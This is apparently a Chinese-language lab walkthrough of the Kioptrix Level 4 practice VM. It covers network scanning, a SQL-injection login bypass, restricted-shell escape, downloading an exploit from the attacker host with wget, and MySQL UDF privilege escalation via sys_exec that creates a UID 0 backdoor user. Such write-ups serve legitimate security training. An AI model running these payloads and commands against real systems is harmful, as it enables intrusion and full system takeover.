打靶日记Kioptix Level 4
一、探测靶机IP(进行信息收集)
nmap -sS -sV -T4 192.168.253.0/24 -A
二、进入搜索界面进行信息收集
进入页面尝试信息收集,发现登录框,尝试万能密码
’ or 1='1
三、搜索网站隐藏目录和文件
dirsearch -u http://192.168.253.140
目录扫描的时候发现了database.sql,进去看看
发现账号和密码 john 1234
尝试后发现是错的
有了用户名,再次去尝试注入,发现得到正确的账号密码
得到密码
MyNameIsJohn
四、反弹shell
与Kioptix Level 3一致
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1\
-oHostKeyAlgorithms=+ssh-rsa\
-oCiphers=+aes256-cbc\
john@192.168.253.140
登录进去后发现是一个受限shell环境
尝试逃逸
echo os.system('/bin/bash')
逃逸成功
然后再查看版本号搜集信息
uname -a
lsb_release -a
尝试脏牛提权,但是失败了
searchsploit -m 40839.c
cd /tmp
wget http://192.168.253.129:8000/37292.c
查看进程,发现使用了mysql
ps aux
五、mysql进行UDF提权
cd /var/www #因为nmap扫描知道了是apache,所以web默认站点目录是这个
发现用户名为root,密码为空
mysql登录
mysql -u root -p
查看版本
SELECT VERSION();
查看当前用户的权限信息
SHOW GRANTS FOR CURRENT_USER();
GRANT ALL PRIVILEGES ON
.
表示该用户对所有数据库(*
)的所有表(*
)拥有全部操作权限(如查询、修改、删除等);WITH GRANT OPTION
表示该用户还具备将自身权限授予其他用户的能力
UDF提权原理(原文链接)
UDF(Userdefined function)可翻译为用户自定义函数,其为mysql的一个拓展接口,可以为mysql增添一些函数。比如mysql一些函数没有,我就使用UDF加入一些函数进去,那么我就可以在mysql中使用这个函数了。
使用过MySQL的人都知道,MySQL有很多内置函数提供给使用者,包括字符串函数、数值函数、日期和时间函数等,给开发人员和使用者带来了很多方便。MySQL的内置函数虽然丰富,但毕竟不能满足所有人的需要,有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候,就需要对MySQL进行一些扩展,幸运的是,MySQL给使用者提供了添加新函数的机制,这种使用者自行添加的MySQL函数就称为UDF(User Define Function)。
首先看下函数库里面有没有可以执行系统命令的函数
select * from mysql.func;
利用 sys_exec()函数将john用户添加到管理员组
sys_exec():这是MySQL提供的内置函数,允许用户在数据库中执行系统命令。这个函数会返回一个整数值,表示命令的执行结果。使用这个函数执行系统命令需要具有相应的权限
SELECT sys_exec('useradd -ou 0 -g 0 yzy');
-
useradd
是用于创建新用户的命令。 -
-o
选项允许创建具有重复 UID(用户标识符)的用户。 -
-u 0
表示将新用户的 UID 设置为 0,在 Linux 系统中,UID 为 0 的用户是超级用户(root)。 -
-g 0
表示将新用户的初始用户组 GID(组标识符)设置为 0,GID 为 0 的组是 root 组。 -
hacker
是要创建的新用户的用户名。
SELECT sys_exec('echo "yzy:123" | chpasswd');
-
echo "hacker:password"
用于输出字符串"hacker:password"
,其中hacker
是用户名,password
是要设置的密码。 -
|
是管道符号,用于将前一个命令的输出作为后一个命令的输入。 -
chpasswd
是一个用于批量修改用户密码的命令,它会从标准输入读取用户名和密码的组合(格式为用户名:密码
),并为相应的用户设置新密码。
提权成功